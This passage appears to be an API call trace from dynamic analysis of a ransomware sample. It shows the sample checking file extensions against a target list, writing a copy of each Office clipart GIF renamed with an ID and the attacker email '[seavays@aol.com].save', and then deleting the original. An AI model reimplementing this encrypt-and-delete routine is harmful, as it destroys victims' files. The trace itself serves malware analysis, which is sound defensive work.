lpString2="_.GIF") returned -1 [0062.287] lstrlenW (lpString=".pdf") returned 4 [0062.287] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.287] lstrlenW (lpString=".xls") returned 4 [0062.287] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.287] lstrlenW (lpString=".xlsx") returned 5 [0062.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.288] lstrlenW (lpString=".ppt") returned 4 [0062.288] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.288] lstrlenW (lpString=".zip") returned 4 [0062.288] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.288] lstrlenW (lpString=".rar") returned 4 [0062.288] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.288] lstrlenW (lpString=".bz2") returned 4 [0062.288] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.288] lstrlenW (lpString=".7z") returned 3 [0062.288] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.288] lstrlenW (lpString=".dbf") returned 4 [0062.288] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.288] lstrlenW (lpString=".1cd") returned 4 [0062.288] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0062.288] lstrlenW (lpString=".jpg") returned 4 [0062.288] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.288] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0062.288] lstrlenW (lpString="AG00154_.GIF") returned 12 [0062.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.289] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5315) returned 1 [0062.289] CloseHandle (hObject=0x34c) returned 1 [0062.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0062.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0062.289] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.289] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0062.290] GetLastError () returned 0x0 [0062.290] ReadFile (in: hFile=0x34c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0062.304] WriteFile (in: hFile=0x384, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0062.305] ReadFile (in: hFile=0x34c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.305] WriteFile (in: hFile=0x384, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.305] SetEndOfFile (hFile=0x384) returned 1 [0062.305] CloseHandle (hObject=0x384) returned 1 [0062.306] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.306] SetEndOfFile (hFile=0x34c) returned 1 [0062.307] CloseHandle (hObject=0x34c) returned 1 [0062.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0062.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.307] lstrlenW (lpString=".doc") returned 4 [0062.307] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.307] lstrlenW (lpString=".docx") returned 5 [0062.308] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.308] lstrlenW (lpString=".pdf") returned 4 [0062.308] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.308] lstrlenW (lpString=".xls") returned 4 [0062.308] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.308] lstrlenW (lpString=".xlsx") returned 5 [0062.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.308] lstrlenW (lpString=".ppt") returned 4 [0062.308] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.308] lstrlenW (lpString=".zip") returned 4 [0062.308] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.308] lstrlenW (lpString=".rar") returned 4 [0062.308] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.308] lstrlenW (lpString=".bz2") returned 4 [0062.308] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.308] lstrlenW (lpString=".7z") returned 3 [0062.308] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.308] lstrlenW (lpString=".dbf") returned 4 [0062.308] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.308] lstrlenW (lpString=".1cd") returned 4 [0062.308] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.308] lstrlenW (lpString=".jpg") returned 4 [0062.308] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.308] lstrlenW (lpString=".doc") returned 4 [0062.308] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.308] lstrlenW (lpString=".docx") returned 5 [0062.308] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.309] lstrlenW (lpString=".pdf") returned 4 [0062.309] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.309] lstrlenW (lpString=".xls") returned 4 [0062.309] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.309] lstrlenW (lpString=".xlsx") returned 5 [0062.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.309] lstrlenW (lpString=".ppt") returned 4 [0062.309] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.309] lstrlenW (lpString=".zip") returned 4 [0062.309] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.309] lstrlenW (lpString=".rar") returned 4 [0062.309] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.309] lstrlenW (lpString=".bz2") returned 4 [0062.309] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.309] lstrlenW (lpString=".7z") returned 3 [0062.309] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.309] lstrlenW (lpString=".dbf") returned 4 [0062.309] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.309] lstrlenW (lpString=".1cd") returned 4 [0062.309] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0062.309] lstrlenW (lpString=".jpg") returned 4 [0062.309] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.313] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.313] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0062.326] GetLastError () returned 0x0 [0062.326] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x135b, lpOverlapped=0x0) returned 1 [0062.328] WriteFile (in: hFile=0x384, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1360, lpOverlapped=0x0) returned 1 [0062.329] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.329] WriteFile (in: hFile=0x384, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.329] SetEndOfFile (hFile=0x384) returned 1 [0062.329] CloseHandle (hObject=0x384) returned 1 [0062.330] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.330] SetEndOfFile (hFile=0x38c) returned 1 [0062.331] CloseHandle (hObject=0x38c) returned 1 [0062.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0062.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0062.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0062.332] lstrlenW (lpString=".doc") returned 4 [0062.332] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.332] lstrlenW (lpString=".docx") returned 5 [0062.332] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.332] lstrlenW (lpString=".pdf") returned 4 [0062.332] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.332] lstrlenW (lpString=".xls") returned 4 [0062.332] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.332] lstrlenW (lpString=".xlsx") returned 5 [0062.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.332] lstrlenW (lpString=".ppt") returned 4 [0062.332] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0062.332] lstrlenW (lpString=".zip") returned 4 [0062.332] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.332] lstrlenW (lpString=".rar") returned 4 [0062.332] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.332] lstrlenW (lpString=".bz2") returned 4 [0062.332] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.332] lstrlenW (lpString=".7z") returned 3 [0062.332] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0062.332] lstrlenW (lpString=".dbf") returned 4 [0062.332] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0062.333] lstrlenW (lpString=".1cd") returned 4 [0062.333] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0062.333] lstrlenW (lpString=".jpg") returned 4 [0062.333] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.333] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.333] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0062.337] GetLastError () returned 0x0 [0062.337] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x13a6, lpOverlapped=0x0) returned 1 [0062.340] WriteFile (in: hFile=0x384, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13b0, lpOverlapped=0x0) returned 1 [0062.341] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.341] WriteFile (in: hFile=0x384, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.341] SetEndOfFile (hFile=0x384) returned 1 [0062.341] CloseHandle (hObject=0x384) returned 1 [0062.342] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.342] SetEndOfFile (hFile=0x38c) returned 1 [0062.343] CloseHandle (hObject=0x38c) returned 1 [0062.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0062.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0062.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0062.344] lstrlenW (lpString=".doc") returned 4 [0062.344] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.344] lstrlenW (lpString=".docx") returned 5 [0062.344] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.344] lstrlenW (lpString=".pdf") returned 4 [0062.344] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.344] lstrlenW (lpString=".xls") returned 4 [0062.344] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.344] lstrlenW (lpString=".xlsx") returned 5 [0062.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.344] lstrlenW (lpString=".ppt") returned 4 [0062.344] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0062.344] lstrlenW (lpString=".zip") returned 4 [0062.344] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.344] lstrlenW (lpString=".rar") returned 4 [0062.344] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.344] lstrlenW (lpString=".bz2") returned 4 [0062.344] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.344] lstrlenW (lpString=".7z") returned 3 [0062.344] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0062.344] lstrlenW (lpString=".dbf") returned 4 [0062.344] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0062.344] lstrlenW (lpString=".1cd") returned 4 [0062.344] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0062.344] lstrlenW (lpString=".jpg") returned 4 [0062.344] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.345] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.345] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0062.345] GetLastError () returned 0x0 [0062.345] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x47a, lpOverlapped=0x0) returned 1 [0062.346] WriteFile (in: hFile=0x384, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x480, lpOverlapped=0x0) returned 1 [0062.347] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.347] WriteFile (in: hFile=0x384, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0062.348] SetEndOfFile (hFile=0x384) returned 1 [0062.348] CloseHandle (hObject=0x384) returned 1 [0062.349] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.349] SetEndOfFile (hFile=0x38c) returned 1 [0062.350] CloseHandle (hObject=0x38c) returned 1 [0062.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0062.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0062.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0062.350] lstrlenW (lpString=".doc") returned 4 [0062.350] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.350] lstrlenW (lpString=".docx") returned 5 [0062.350] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.350] lstrlenW (lpString=".pdf") returned 4 [0062.350] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.350] lstrlenW (lpString=".xls") returned 4 [0062.350] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.350] lstrlenW (lpString=".xlsx") returned 5 [0062.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.351] lstrlenW (lpString=".ppt") returned 4 [0062.351] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0062.351] lstrlenW (lpString=".zip") returned 4 [0062.351] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.351] lstrlenW (lpString=".rar") returned 4 [0062.351] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.351] lstrlenW (lpString=".bz2") returned 4 [0062.351] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.351] lstrlenW (lpString=".7z") returned 3 [0062.351] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0062.351] lstrlenW (lpString=".dbf") returned 4 [0062.351] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0062.351] lstrlenW (lpString=".1cd") returned 4 [0062.351] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0062.351] lstrlenW (lpString=".jpg") returned 4 [0062.351] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.424] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.424] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0062.424] GetLastError () returned 0x0 [0062.424] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0062.426] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0062.427] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.427] 